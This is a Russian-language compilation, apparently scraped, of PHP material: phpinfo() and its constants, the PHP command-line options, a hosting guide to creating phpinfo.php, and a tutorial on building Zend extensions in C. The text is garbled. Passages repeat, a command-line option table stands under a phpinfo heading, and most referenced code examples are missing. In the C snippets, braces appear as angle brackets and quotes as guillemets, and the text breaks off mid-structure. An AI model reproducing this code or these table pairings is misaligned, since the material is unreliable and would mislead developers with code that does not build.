Опции и информация php


Содержание

Функция PHP phpinfo

phpinfo — функция, которая выводит полную информацию о текущей конфигурации PHP.

Данная функция выводит на экран таблицу содержащую много полезной информации о настройках php, установленных модулях, конфигурации локального сервера, переменных окружения, версии ОС, о путях, о HTTP заголовках, лицензии PHP и т.д.

Функция phpinfo используется используется при проверке системы, так как каждый сервер в сети имеет свои уникальные настройки. Если скрипт нормально работал на одном сервере, и перестал работать на другом, то стоит проверить настройки конфигурации нового вервера при помощи данной функции.

Самый простой способ использовать данную функцию – создать отдельный файл:

Он покажет на экран примерно такую страницу:

Рисунок 1. Работа функции phpinfo().

И информации там ещё примерно на четыре экрана вниз.

phpinfo — функция, которая выводит полную информацию о текущей конфигурации PHP.

Функция PHP phpinfo

Имя (константа) Значение Описание
INFO_GENERAL 1 Общая информация о конфигурации, расположение php.ini, информация о Web-сервере, системе и др.
INFO_CREDITS 2 Информация о разработчики PHP. Её также можно получить использую функцию phpcredits() .
INFO_CONFIGURATION 4 Информация о текущих значениях основных и локальных PHP директив. Их также можно получить используя функцию ini_get() .
INFO_MODULES 8 Загруженные модули и их настройки. См. также get_loaded_extensions() .
INFO_ENVIRONMENT 16 Информация о переменных окружения, которая также доступна в $_ENV .
INFO_VARIABLES 32 Выводит все предопределенные переменные из EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE 64 Информация о лицензии PHP.
INFO_ALL -1 Выводит все приведенное выше.

Вы видите, что функция phpinfo содержит EGPCS-данные, поэтому она может использоваться для отладки.

Значения являются битовыми, поэтому используются числа 2, 4, 8, 16, 32 и 64.

Примеры использования phpinfo() с аргументами:

Информация, предоставляемая функцией phpinfo() может быть использована злоумышленниками для приченения вреда вашему сайту. Поэтому файлы с этой функцией нужно обязательно удалить.

В 2010 году известный российский ресурс для программистов Хабрахабр опубликовал статью, в которой приводились данные весьма интересного исследования. Оказалось что 4.69% российских сайтов содержат файл phpinfo.php с функцией phpinfo . На то время рунет состоял 36804 сайтов, 1725 имели потенциальную уязвимость.

Если вам нужно просто узнать какая версия PHP на сервере, можно ипользовать функцию phpversion .

Опции и информация php

Список опций, доступный при запуске PHP из командной строки, может быть получен в любой момент путем запуска PHP с ключом -h :

Опции, доступные из командной строки

Интерактивно запускает PHP. Подробнее смотрите в разделе Интерактивная консоль.

Путь связывания библиотек (Bind Path) для внешнего режима FASTCGI Server (только для CGI ).

Не менять текущую директорию на директорию скрипта (только для CGI ).

Тихий режим. Подавляет вывод заголовков HTTP (только для CGI ).

Измерить время выполнения скрипта, повторенного count раз (только для CGI ).

При помощи этой опции можно указать директорию для поиска конфигурационного файла php.ini либо непосредственно указать на сам INI-файл (название которого может отличаться от стандартного php.ini ), например:

Если вы не укажете эту опцию, поиск файла будет осуществлен в обычном месте.

Полностью игнорировать php.ini .

Эта опция позволяет устанавливать специальное значение для каждой из конфигурационных переменных, доступных в php.ini . Синтаксис выглядит следующим образом:

Включить режим расширенной информации, используемый отладчиком/профайлером.

Парсит и исполняет файл, указанный в опции -f . Этот переключитель необязателен и может быть убран. Передачи имени запускаемого файла должно быть достаточно.

Для передачи аргументов в скрипт, первый аргумент должен быть , иначе PHP воспримет их как свои опции.

PHP-код, выполняемый для каждой введенной строки. Добавлена в PHP 5.

В этом режиме есть две специальные переменные: $argn и $argi . $argn содержит строку, которую PHP обрабатывает в данный момент, а $argi содержит номер этой строки.

PHP-файл, выполняемый для каждой введенной строки. Добавлена в PHP 5.

PHP-код, выполняемый после обработки ввода. Добавлена в PHP 5.

Пример #4 Использование опций -B , -R и -E для подсчета количества строк в проекте.

Показать исходный код с подсвеченным разными цветами синтаксисом.

Эта опция использует внутренний механизм парсинга файла и выводит в стандартный поток вывода подсвеченную HTML-версию этого файла. Учтите, что все что она делает, это генерирует блок [. ] HTML-тегов, без HTML-заголовков.

Эта опция несовместима с опцией -r .

Пример #5 Использование -v для получения типа SAPI и версии PHP и Zend

Показать исходнный код без комментариев и пробелов.

Эта опция несовместима с опцией -r .

Показывают информацию об указанной функции или методе класса (например, количество и названия параметров). Доступна, начиная с версии PHP 5.1.2.

Эта опция доступна только в случае если PHP был скомплирован с поддержкой Reflection.

Пример #7 Базовое использование —rf

Показывает информацию об указанном классе (список констант, свойств и методов). Доступна, начиная с PHP 5.1.2.

Эта опция доступна только в случае если PHP был скомплирован с поддержкой Reflection.


Показывает информацию об указанном расширении (список опций php.ini , определенных функций, констант и классов). Доступна, начиная с версии PHP 5.1.2.

Эта опция доступна только в случае если PHP был скомплирован с поддержкой Reflection.

Показывает информацию о конфигурации указанного расширения (та же информация, что показывается функцией phpinfo() ). Доступна, начиная с версии PHP 5.2.2. Конфигурацию ядра можно узнать, указав в качестве имени расширения значение «main».

Опции и информация php

(PHP 3, PHP 4, PHP 5)

phpinfo — выводит много информации о PHP.

Описание

int phpinfo ([int what])

Выводит большое количество информации о текущем статусе PHP. Сюда входит информация об опциях компиляции PHP и о расширениях, версии PHP, информация сервера и окружения (если скомпилирован как модуль), окружение PHP, версия ОС, пути, master и локальные переменные опций конфигурации, шапки HTTP и PHP License.

Поскольку каждая система настроена по-своему, phpinfo() обычно используется для проверки установок конфигурации и доступности предопределённых переменных в данной системе.Также phpinfo() является важной отладочной утилитой, так как содержит все данные EGPCS (Environment, GET, POST, Cookie, Server).

Вывод может быть специализирован путём передачи одной или более следующих константных битовых значений, суммированных в необязательном параметре what . Можно также комбинировать соответствующие константны или битовые значения операцией or .

Таблица 1. Опции phpinfo()
Опция Полное название Описание
-a —interactive
-b —bindpath
-q —no-header
-n —no-php-ini
-e —profile-info
-h и -? —help и —usage Эта опция выдает список актуальных опций вместе с несколькими однострочными описаниями.
-i —info Использование этой опции приводит к вызову функции phpinfo() и выводу результирующей информации. В случае, если PHP работает некорректно, будет весьма логично выполнить php -i и посмотреть, выводятся ли сообщения об ошибке до информационных таблиц или даже вместо них. Учтите, что в случае использования CGI -модуля весь вывод будет в формате HTML и, как следствие, довольно большим.
-l —syntax-check

Эта опция предоставляет удобный способ для проверки заданного PHP-кода на наличие синтаксических ошибок. В случае успешной проверки будет напечатана следующая фраза: «No syntax errors detected in «, — и код возврата будет равен . А в случае неудачи — текст «Errors parsing » вместе с внутренними сообщениями парсера и код возврата будет равен 255.

Проверка исходного кода при помощи данной опции не находит фатальных ошибок (например, таких как вызов неопределенных функций). Используйте опцию -f , если вы хотите проверить код на наличие фатальных ошибок.

Эта опция несовместима с опцией -r .

Пример #1 Вывод встроенных (и загружаемых) PHP и Zend модулей

Эта опция позволяет выполнять PHP-код, указанный непосредственно в командной строке. Открывающие и закрывающие PHP-теги ( ) не нужны и, более того, приводят к синтаксической ошибке.

При использовании этого ключа следует быть очень осторожным и избегать недоразумений, связанных с автоматической подстановкой переменных окружения.

Пример #2 Ошибка синтаксиса при использовании двойных кавычек

Проблема заключается в том, что sh/bash выполняет автоматическую подстановку переменных в случае, если используются двойные кавычки («). Поскольку переменная $foo вряд ли определена, она заменяется пустой строкой, так что передаваемый PHP-код для выполнения выглядит следующим образом:

Правильным решением в данном случае будет использование одиночных кавычек , поскольку автоматическая подстановка переменных, заключенных в одиночные кавычки, в sh/bash не происходит.

Пример #3 Использование одинарных кавычек для предотвращения подстановки переменных в консоли

Если вы используете оболочку, отличную от sh/bash, у вас могут возникнуть другие вопросы. В таком случае создайте отчет о возникшей ошибке на сайте » http://bugs.php.net/. Вы вполне можете столкнуться с проблемами при попытке получить доступ к переменным оболочки или при работе с экранирующими обратными слэшами. Мы вас предупредили.

Эта опция предназначена только для самых базовых вещей. Поэтому некоторые конфигурационные директивы (например, auto_prepend_file и auto_append_file) в этом режиме будут проигнорированы.

-B —process-begin

Выполняемый PHP-код до обработки потока ввода (stdin). Добавлена в PHP 5.

-R —process-code
-F —process-file
-E —process-end
-s —syntax-highlight и —syntax-highlighting
-z —zend-extension

Загружает Zend-расширение. Если передано только имя файла, PHP попытается загрузить это расширение из вашего системного пути поиска библиотек по умолчанию (обычно он указывается в /etc/ld.so.conf в Linux системах). Передача файла с абсолютным путем не будет использовать данный системный путь поиска. Относительное имя файла, содержащее директорию, укажет PHP подгрузить расширение относительно текущей директории.

Показывает имена конфигурационных файлов и сканируемые директории. Доступна, начиная с версии PHP 5.2.3.

—rf —rfunction
—re —rextension
—ri —rextinfo
Имя (константа) Значение Описание
INFO_GENERAL 1 Строка конфигурации, размещение php.ini , дата построения/build, Web-сервер, система и т.д.
INFO_CREDITS 2 КредитыPHP 4.См. также phpcredits() .
INFO_CONFIGURATION 4 Текущие Local и Master значения php-директив.См. также ini_get() .
INFO_MODULES 8 Загруженные модули и их соответствующие настройки.
INFO_ENVIRONMENT 16 Environment Variable информация, доступная также в $_ENV .
INFO_VARIABLES 32 Показывает все предопределённые переменные из EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE 64 ИнформацияPHP License.См. также license faq .
INFO_ALL -1 Всё выше указанное.Это значение по умолчанию.

Пример 1. phpinfo()

Примечание: части отображаемой информации отключаются, когда установка конфигурации expose_php имеет значение off . Сюда входят PHP и Zend-логосы и кредиты.

Как Создать Файл Phpinfo и Проверить Информацию о PHP

Введение

Любое программное обеспечение, которое вы хотите запустить на вашем веб сервере имеет определенные требования, которым он должен соответствовать. К примеру, для WordPress требуется PHP версии 5.2.4 и выше. В зависимости от сервера вы можете изменять некоторые настройки PHP, другие наоборот изменять запрещено, однако, о них всех можно получить информацию в файле phpinfo. В этом руководстве вы узнаете, как создать файл phpinfo и узнать значения и статус PHP модулей. Это также может быть полезно для получения информации о вашем хостинг аккаунте, такой как max_execution_time, memory_limit, post_max_size и другой.

Что вам понадобится

Перед тем, как вы начнете это руководство, вам понадобится следующее:

  • Доступ к контрольной панели вашего хостинга или FTP аккаунту

Вариант 1 — Проверка информации о PHP через панель управления хостинга

В Hostinger, информация о PHP вашего аккаунта может быть найдена в разделе Дополнительно → Информация о PHP. Это является очень удобной функцией, так как вам не надо будет создавать дополнительных файлов на вашем хостинге.

После этого, вы переместитесь на страницу со всей необходимой информацией о вашей версии PHP, модулях и значениях. Для поиска конкретного модуля или функции воспользуйтесь поиском, нажав сочетание клавиш CTRL+F.

Поздравляем! Вы узнали, как получить доступ к информации о вашем php через панель управления Hostinger.

Вариант 2 — Проверка информации о PHP с помощью создания файла phpinfo.php

Не волнуйтесь, если ваша хостинговая платформа не поддерживает функцию показанную в Варианте 1. Того же результата можно достичь создав специальный файл внутри вашего хостинг аккаунта. Файл также покажет всю информацию о вашем PHP и будет доступен через браузер.

Шаг 2.1 — Создание файла phpinfo

Существует несколько путей для создания файла phpinfo. В этом руководстве мы будем использовать для этого Файловый менеджер. Однако тот же результат может быть достигнут созданием файла на вашем локальном компьютере и дальнейшей загрузке файла на сервер через FTP-клиент.

Войдите в панель управления вашего хостинга и откройте Файловый менеджер. Нажмите кнопку Новый файл для создания нового файла.

В первом поле укажите путь где будет создан новый файл. Далее, в поле Новое имя файла введите phpinfo.php. В большинстве случаев вы можете оставить путь без изменений /public_html. В этом случае файл будет создан в корневом каталоге вашего сайта.

Шаг 2.2 — Редактирование файла

На этом этапе у вас уже имеется пустой файл phpinfo.php в каталоге public_html. Скопируйте следующий код в файл и нажмите иконку Сохранить в левом углу экрана.

Вот и все, вы успешно создали PHP файл, который отобразит все параметры вашего PHP. Как уже упоминалось ранее, тот же результат может быть достигнут с помощью FTP-клиента:

  1. Используйте любой текстовый редактор и создайте файл phpinfo.php на вашем компьютере.
  2. Добавьте следующий код в файл:
  1. Загрузите файл используя FTP в ваш каталог public_html.

Шаг 2.3 — Проверка информации о PHP через браузер

Если все было сделано правильно, то теперь вы можете получить доступ к созданному файлу, добавив в конец вашего доменного имени /phpinfo.php. К примеру, http://вашдомен.ru/phpinfo.php

Вы должны увидеть похожий результат при открытии этой страницы через браузер:

На этой странице вы сможете увидеть все настройки вашего PHP.

Заключение

Закончив данное руководство вы научились, как создать файл phpinfo и проверить информацию о ваших настройках PHP. Данная информация является полезной, если вы хотите узнать настройки вашего хостинга или запустить программное обеспечение, которое требует наличия определенных PHP модулей.

Создание расширений PHP: Введение в PHP и Zend

Введение

Если вы читаете данную статью, скорее всего у вас есть некоторый интерес к созданию расширений для языка PHP. Если же нет… возможно, когда вы прочтёте эту статью, то обнаружите в себе этот интерес, не смотря на то, что вы о нём даже не подозревали!

Материал, изложенный в данной статье, подразумевает знакомство как с самим языком PHP, так и с языком, на котором написан интерпретатор PHP: C.

Начнём с того, что определим причины, по которым вы хотите написать расширение для PHP:

  1. Существование какой-нибудь библиотеки или специфичного вызова ОС, который не может быть сделан из PHP напрямую из-за уровня абстракции принятого в языке;
  2. Вы хотите заставить PHP работать нестандартным способом;
  3. У вас уже есть решение, написанное на PHP, но вы знаете, что оно может быть быстрее, компактней и потреблять меньше памяти в процессе работы;
  4. У вас есть особенный код, который вы хотели бы продать. Однако, важно, что бы покупатель мог запускать Ваш код, но не смотреть исходники.

Все перечисленные выше причины являются вполне адекватными, но, создавая расширение, прежде всего вам стоит понимать, что это в первую очередь расширение.

Что такое Расширение?

Если вам приходилось использовать PHP, то вы использовали и расширения. За небольшим исключением каждая доступная для использования функция в языке PHP сгруппирована в то или иное расширение. Основная часть функций (более 400) входит в состав стандартного расширения. Исходные коды PHP распространяются с порядка 86 расширениями, имеющими примерно по 30 функций в каждом. Посчитав, получим где-то 2500 функций в сумме. Если этого не достаточно, репозитарий PECL предлагает свыше 100 дополнительных расширений, ещё больше можно найти на бескрайних просторах интернета.

«Что же, с учётом всего этого множества функций, живущих в расширениях, тогда остаётся вне расширений?» — спросите вы. «Что расширения расширяют? Что такое ядро PHP

Ядро PHP реализовано в виде 2-х отдельных частей. Техническая часть языка представлена в виде Zend Engine (ZE). ZE отвечает за преобразование понятного для человека скрипта в понятные для компьютера токены (tokens), после чего выполняет их. Кроме того, ZE отвечает за управление памятью, область видимости переменных, обработку вызова функций.
Второй частью ядра является то, что непосредственно называется «ядром» (the PHP core). Оно отвечает за взаимодействие со слоем SAPI (Server Application Programming Interface, интерфейс взаимодействия PHP с другим серверным ПО — CLI, CGI, Apache и так далее). Кроме того, ядро реализует обобщённый слой контроля для проверок safe_mode и open_basedir (данные фичи объявлены depricated с версии 5.3), так же, как и слой потоков, который ассоциирует файловые и сетевые I/O операции с функциями fopen, fread и fwrite.

Жизненный цикл

Когда происходит запуск заданного SAPI (например, при запуске сервера Apache по команде /usr/local/apache/bin/apachectl start), PHP начинает свою работу с запуска подсистемы ядра. К концу процедуры запуска он загружает код каждого расширения и вызывает его функцию Module Initialization (MINIT). Это даёт каждому расширению возможность инициализировать внутренние переменные, выделить память под ресурсы, зарегистрировать обработчики ресурсов и свои функции в ZE, что бы при вызове каким-нибудь скриптом функции этого расширения ZE знал, какой код ему выполнять.

Далее PHP ждёт от слоя SAPI запроса на обработку страницы. В случае CGI или CLI SAPI это происходит незамедлительно и только один раз. В случае SAPI Apache, IIS или другого полноценного web-сервера запрос на обработку страницы происходит каждый раз при запросе (возможно конкурентном) страницы удалённым пользователем. Однако, вне зависимости от того, каким образом пришёл запрос, его обработка начинается с того, что ядро PHP просит ZE настроить окружающую среду для запуска скрипта, после чего вызывает функцию Request Initialization (RINIT) для каждого расширения. RINIT даёт расширениям возможность настроить специфичные переменные окружения, выделить память для специфичных ресурсов запроса и выполнить другие задания. Наглядным примером функции RINIT в действии может служить расширение session, в котором при включенной настройке session.auto_start функция RINIT автоматически вызывает исполнение функции session_start и инициализирует переменную $_SESSION.

После того, как запрос инициализирован, ZE транслирует PHP скрипт в токены, а затем в опкоды (opcodes), которые он может выполнить. Если какой-нибудь из этих опкодов запрашивает вызов функции из расширения, ZE формирует аргументы для вызова этой функции и временно передаёт ей управление до её завершения.

После того как скрипт завершил своё выполнение, PHP вызывает функцию Request Shutdown (RSHUTDOWN) для каждого расширения, что выполнить все необходимые для завершения чистки (например, сохранение сессионных переменных на диск). Следующим шагом ZE выполняет процесс чистки (также известный как сборка мусора), который фактически выполняет метод unset для каждой переменной, использованной в выполненном скрипте (начиная с PHP 5.3 механизм сборки мусора значительно улучшен).

Завершив обработку запроса, PHP ждёт от SAPI либо запроса на обработку другого скрипта, либо сигнала на завершение. В случае CGI или CLI SAPI «следующий запрос» невозможен, поэтому SAPI инициализирует завершение работы PHP незамедлительно. В процессе завершения PHP перебирает все расширения и для каждого вызывает функцию Module Shutdown (MSHUTDOWN), после чего завершает свою собственную подсистему ядра.

Этот процесс поначалу может показаться немного запутанным, но, погрузившись в работу над расширениями, вы постепенно прочувствуете его.

Выделение памяти

Для того, что бы избежать утечек памяти в плохо написанных расширениях, ZE использует свой собственный внутренний механизм управления памятью, основанный на дополнительном флаге для определения времени жизни данных. Постоянное (persistent) выделение памяти означает, что память будет выделена более, чем на время обработки запроса одной страницы. Непостоянное (non-persistent) выделение памяти означает освобождение памяти после обработки запроса вне зависимости от того, была ли вызвана функция освобождения памяти. К примеру, выделение памяти под пользовательские переменные носит непостоянный характер, так как по завершению обработки запроса они становятся бесполезными.

Несмотря на то, что расширение в теории может возложить на ZE освобождение непостоянной памяти автоматически по завершению каждого запроса, делать это не рекомендуется. Выделенная память будет оставаться долгое время невостребованной, ассоциированные с этой памятью ресурсы будут иметь меньше шансов быть закрытыми правильно, и, в конце концов, создание путаницы с освобождением памяти — плохая практика. Как вы увидите позже, убедиться, что все данные отчищены верно, достаточно легко.

Давайте кратко сравним традиционные функции выделения памяти (которые стоит использовать только при работе с внешними библиотеками) с функциями постоянного и непостоянного выделения памяти в PHP/ZE.

Традиционные Непостоянные Постоянные
malloc(count) emalloc(count) pemalloc(count, 1) *
calloc(count, num) ecalloc(count, 1) pecalloc(count, num, 1)
strdup(str) estrdup(str) pestrdup(str, 1)
strndup(str, len) estrndup(str, len) pemalloc() & memcpy()
free(ptr) efree(ptr) pefree(ptr, 1)
realloc(ptr, newsize) erealloc(ptr, newsize) perealloc(ptr, newsize, 1)
malloc(count * num + extr) ** safe_emalloc(count, num, extr) safe_pemalloc(count, num, extr)

* Семейство функций pemalloc принимает в качестве параметра флаг «постоянности», который позволяет им вести себя как их непостоянные аналоги.
К примеру: emalloc(1234) тоже самое, что и pemalloc(1234, 0)
** safe_emalloc() и (в PHP 5) safe_pemalloc реализуют дополнительную проверку целочисленных переполнений.

Настройка и сборка окружения

Теперь, когда вы ознакомились с теорией работы PHP и Zend Engine, могу поспорить, вам не терпится погрузиться в работу и начать что-нибудь делать. Однако, перед этим вам нужно обзавестись кое-какими утилитами для сборки и настроить окружение для ваших целей.

Прежде всего, вам необходим сам PHP и набор средств сборки, необходимых для PHP. Если вам не приходилось собирать PHP из исходников, предлагаю взглянуть на эту статью. Несмотря на то, что использование бинарного пакета с исходниками PHP может показаться заманчивым, такие сборки зачастую лишены двух важных параметров программы ./configure, которые очень полезны во время процесса разработки. Первый из них это —enable-debug. Эта опция компилирует PHP с дополнительной отладочной информацией в исполняемых файлах, так что при возникновении ошибки сегментации (segfault) вы сможете получить дамп ядра и воспользоваться отладчиком gdb, что бы выяснить, где и почему произошла ошибка.
Название второй опции зависит от того, с какой версией PHP вы собираетесь работать. В PHP 4.3 она называется —enable-experimental-zts, начиная с PHP 5, она переименована в —enable-maintainer-zts. Эта опция заставит PHP думать, что он работает в многопотоковой (multithread) среде, и позволит вам отловить общие ошибки, которые незаметны в среде без потоков, но повлекут нестабильную работу вашего расширения в многопотоковой среде.
Скомпилировав PHP с дополнительными опциями и установив его на сервер разработки (или рабочую станцию), вы можете преступать к созданию своего первого расширения.

Hello World

PHP_ARG_ENABLE(hello, whether to enable Hello World support,
[ —enable-hello Enable Hello World support])

if test «$PHP_HELLO» = «yes»; then
AC_DEFINE(HAVE_HELLO, 1, [Whether you have Hello World])
PHP_NEW_EXTENSION(hello, hello.c, $ext_shared)
fi

#ifndef PHP_HELLO_H
#define PHP_HELLO_H 1


#define PHP_HELLO_WORLD_VERSION «1.0»
#define PHP_HELLO_WORLD_EXTNAME «hello»

extern zend_module_entry hello_module_entry;
#define phpext_hello_ptr &hello_module_entry

#include «php.h»
#include «php_hello.h»

static function_entry hello_functions[] = <
PHP_FE(hello_world, NULL)

>;

zend_module_entry hello_module_entry = <
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_HELLO_WORLD_EXTNAME,
hello_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_HELLO_WORLD_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
>;

#ifdef COMPILE_DL_HELLO
ZEND_GET_MODULE(hello)
#endif

PHP_FUNCTION(hello_world)
<
RETURN_STRING( «Hello World» , 1);
>

str = estrdup( «Hello World» );
RETURN_STRING(str, 0);
>

В этом примере вы вручную выделили непостоянную память для строки «Hello World», которую передали обратно в вызывающий скрипт с помощьюфункции RETURN_STRING, указав ей 0 в качестве второго параметра, что заставляет функцию не делать копию строки, так как она может воспользоваться нашей.

Сборка расширения

Если всё пойдёт так, как должно, вы увидите строку Hello World в качестве результата работы скрипта, так как функция hello_world из загруженного расширения возвращает строку, а команда echo отображает то, что ей было передано на вход (в данном случае – результат работы функции hello_world).

В данном примере мы возвращали строку, другие скалярные типы данных могут быть возвращены по схожему принципу: RETURN_LONG для целочисленных значений, RETURN_DOUBLE для чисел с плавающей точкой, RETURN_BOOL для TRUE/FALSE и RETURN_NULL для, как вы догадались, NULL-значений. Давайте посмотрим на каждую из них в действии, добавив строки с макросом PHP_FE в структуру function_entity и соответствующие им макросы PHP_FUNCTION в файле hello.c:

static function_entry hello_functions[] = <
PHP_FE(hello_world, NULL)
PHP_FE(hello_long, NULL)
PHP_FE(hello_double, NULL)
PHP_FE(hello_bool, NULL)
PHP_FE(hello_null, NULL)

>;

PHP_FUNCTION(hello_world);
PHP_FUNCTION(hello_long);
PHP_FUNCTION(hello_double);
PHP_FUNCTION(hello_bool);
PHP_FUNCTION(hello_null);

Так как вы не вносили изменений в файл config.m4, технически нет необходимости повторять шаги phpize и ./configure, а можно сразу перейти к выполнению команды make. Тем не менее, на этот раз я попрошу вас пройти через все три шага сборки заново с целью убедиться, что никаких проблем не возникло. Кроме того, в качестве последнего шага вы можете использовать команду make clean all вместо make, что бы быть уверенным, что все файлы с исходниками будут пересобраны. Повторюсь, что это не необходимо ввиду типа изменений, которые вы сделали, но лучше перестраховаться, чем наткнуться на ошибку. После того, как модуль собран, вам остаётся скопировать его в каталог расширений, заменив им старую версию.

Сейчас вы можете снова вызвать интерпретатор PHP, передав ему нехитрые скрипты для того, что бы протестировать только что добавленные функции. На самом деле – почему бы ни сделать это сейчас? Я подожду вас здесь…

Готово? Хорошо. Если для просмотра результата работы каждой функции вы использовали var_dump, а не echo, то, возможно, обратили внимание, что hello_bool возвращает TRUE. Это результат равенства 1-це аргумента функции. Также как и в PHP-скриптах, целочисленное значение 0 эквивалентно FALSE, в то время как любое другое число эквивалентно TRUE. Авторы расширений зачастую используют соглашение, согласно которому этим числом является 1. Желательно, но не обязательно, что бы и вы придерживались этого соглашения. Кроме того, для большего удобства доступны макросы RETURN_TRUE и RETURN_FALSE. Ниже приведён пример функции hello_bool с использованием макроса RETURN_TRUE.

Обратите внимание, что никаких круглых скобок при вызове макроса не использовалось. В этом плане макросы RETURN_TRUE и RETURN_FALSE отличаются от остальных макросов семейства RETURN_*, так что будьте внимательны и не попадитесь на этом!

Вы, возможно, заметили, что во всех предыдущих примерах мы не передаём параметр, отвечающий за создание копии результата. Причина этого в том, что для таких простых скалярных величин не требуется выделение или освобождение дополнительной памяти.

Существуют ещё 3 дополнительных возвращаемых типа: RESOURCE (возвращаемый, к примеру, функциями mysql_connect, fsockopen или ftp_connect), ARRAY (также известный как HASH) и OBJECT (возвращаемый по ключевому слову new). Речь о них пойдёт позже.

INI-настройки

Zend Engine предоставляет два подхода для работы с INI-данными. Сейчас мы рассмотрим наиболее простой из них, а к более общему вернёмся после ознакомления с глобальными переменными.

Предположим, вы хотите объявить в файле php.ini настройку hello.greeting для вашего расширения, которая будет содержать значение для вывода функцией hello_world. Для этого нам придётся добавить несколько изменений в файлы hello.c и php_hello.h в рамках изменения структуры hello_module_entry. Начнём с добавления следующих прототипов перед списком прототипов пользовательских функций в файле php_hello.h:

PHP_FUNCTION(hello_world);
PHP_FUNCTION(hello_long);
PHP_FUNCTION(hello_double);
PHP_FUNCTION(hello_bool);
PHP_FUNCTION(hello_null);

zend_module_entry hello_module_entry = <
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_HELLO_WORLD_EXTNAME,
hello_functions,
PHP_MINIT(hello),
PHP_MSHUTDOWN(hello),
NULL,
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_HELLO_WORLD_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
>;

PHP_INI_BEGIN()
PHP_INI_ENTRY( «hello.greeting» , «Hello World» , PHP_INI_ALL, NULL)
PHP_INI_END()

#include «php.h»
#include «php_ini.h»
#include «php_hello.h»

PHP_FUNCTION(hello_world)
<
RETURN_STRING(INI_STR( «hello.greeting» ), 1);
>

Обратите внимание, что вы создаёте копию значения, полученного от INI_STR. Причина в том, что строка, возвращаемая INI_STR является статической. Другими словами, если вы попытаетесь её изменить рабочее окружение PHP может стать нестабильным или даже аварийно завершиться.

Первый набор внесённых в этой главе изменений добавляет два новых метода, с которыми вы должны быть уже знакомы: MINIT и MSHUTDOWN. Как упоминалось ранее, эти методы вызываются при первом запуске SAPI-слоя и в процессе завершения его работы соответственно. Они не вызываются в течение или между запросами. В этом примере они используются для регистрации записей из файла php.ini, объявленных в вашем расширении. Также в этих функциях могут быть зарегистрированы ресурсы, объекты и обработчики потоков.

В вашей функции hello_world вы используете макрос INI_STR для получения текущего значения записи hello.greating в качестве строки. Существует совокупность других функций для получения целочисленных значений, значений с плавающей точкой, булевых значений перечисленных ниже. В дополнение эти функции имеют дубликаты с суффиксом ORIG, позволяющие получить значение записи в том виде, в котором оно записано в файле php.ini (до того, как могло быть изменено посредствам файла .htaccess или функции ini_set).

Текущее значение Оригинальное значение Тип
INI_STR(name) INI_ORIG_STR(name) Char * (NULL terminated)
INI_INT(name) INI_ORIG_INT(name) signed long
INI_FLT(name) INI_ORIG_FLT(name) signed double
INI_BOOL(name) INI_ORIG_BOOL(name) Zend_bool

Перейдём к функции PHP_INI_ENTRY. Первым параметром ей передаётся строка, содержащая имя интересующей вас записи в файле php.ini. Для того, что бы избежать коллизий между именами записей в php.ini, вам следует использовать те же соглашения, что при наименовании функций: имя должно начинаться с префикса, совпадающего с именем расширения. Так же соглашение предусматривает, что разделителем имени расширения от оригинального имени настройки в INI-файлах должна служить точка. В данном случае имя настройки будет выглядеть как hello.greeting.
Вторым параметром является начальное значение настройки, которое всегда задаётся как char* вне зависимости от того, является ли значение числом или нет. Это является следствием того факта, что все настройки в INI-файлах по своей сути текстовые, так как сам файл текстовый. Только последующее использование в скрипте макросов INI_INT, INI_FLT или INI_BOOL вызывает преобразование их типов.
Третьим параметром является модификатор уровня доступа. Это битовая маска, которая определяет когда и как данная INI-настройка может быть модифицирована. Для некоторых настроек, таких как register_globals, просто-напросто не имеет смысла позволять изменение значения внутри скрипта с помощью функции ini_set, так как данная настройка имеет смысл только во время подготовки обработки запроса – до того как скрипту дана возможность отработать. Другие, такие как allow_url_fopen, являются административными настройками, которые пользователи не должны иметь права изменять ни через ini_set, ни через директивы .htaccess. По-умолчанию значением для этого параметра является значение PHP_INI_ALL, указывающее, что значение настройки может меняться где угодно. Также возможны значения PHP_INI_SYSTEM|PHP_INI_PERDIR, указывающие, что значение настройки может быть изменено через php.ini или директиву в файле .htaccess, но через функцию ini_set(). Или же возможно значение PHP_INI_SYSTEM, означающее, что настройку можно изменить только через файл php.ini и нигде больше.

Последний четвёртый параметр позволяет указать функцию обратного вызова (callback), вызываемую при изменении настройки с помощью функции ini_set. Это позволяет расширениям производить более полный контроль над условиями изменения настройки или вызывать соответствующую функцию в зависимости от нового значения настройки.

Глобальные переменные

Довольно часто расширению требуется обработать переменную в отдельном запросе, сохраняя её значение независимым от других запросов, которые могут обрабатываться в тоже самое время. В немногопоточном SAPI это можно сделать очень просто: всего лишь объявите глобальную переменную в файле с исходным кодом и обращайтесь к ней, когда вам нужно. Проблема в том, что, так как PHP спроектирован для работы с многопоточными web-серверами (такими как Apache 2 и ISS), ему необходимо хранить глобальные переменные, используемые одним потоком, отдельно от глобальных переменных другого. PHP значительно упрощает эту задачу благодаря использованию слоя абстракции TSRM (Thread Safe Resource Manager) иногда называемого ZTS (Zend Thread Safety). Фактически в данной статье уже использовались части TSRM, чего вы даже не заметили. (Не пытайтесь найти их, так как пока для вас это слишком сложно).

Первая часть создания потокобезопасной глобальной переменной, как и любой другой глобальной переменной, заключается в её объявлении. В качестве примера мы объявим одну глобальную переменную типа long, начальным значением которой будет 0. Каждый раз, когда функция hello_long будет вызываться, мы будем увеличивать значение глобальной переменной и возвращать её значение.
Добавьте следующий фрагмент кода в файл php_hello.h сразу после строки #define PHP_HELLO_H:

ZEND_BEGIN_MODULE_GLOBALS(hello)
long counter;
ZEND_END_MODULE_GLOBALS(hello)

#ifdef ZTS
#define HELLO_G(v) TSRMG(hello_globals_id, zend_hello_globals *, v)
#else
#define HELLO_G(v) (hello_globals.v)
#endif

PHP_MINIT_FUNCTION(hello);
PHP_MSHUTDOWN_FUNCTION(hello);
PHP_RINIT_FUNCTION(hello);

#include «php.h»
#include «php_ini.h»
#include «php_hello.h»

zend_module_entry hello_module_entry = <
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_HELLO_WORLD_EXTNAME,
hello_functions,
PHP_MINIT(hello),
PHP_MSHUTDOWN(hello),
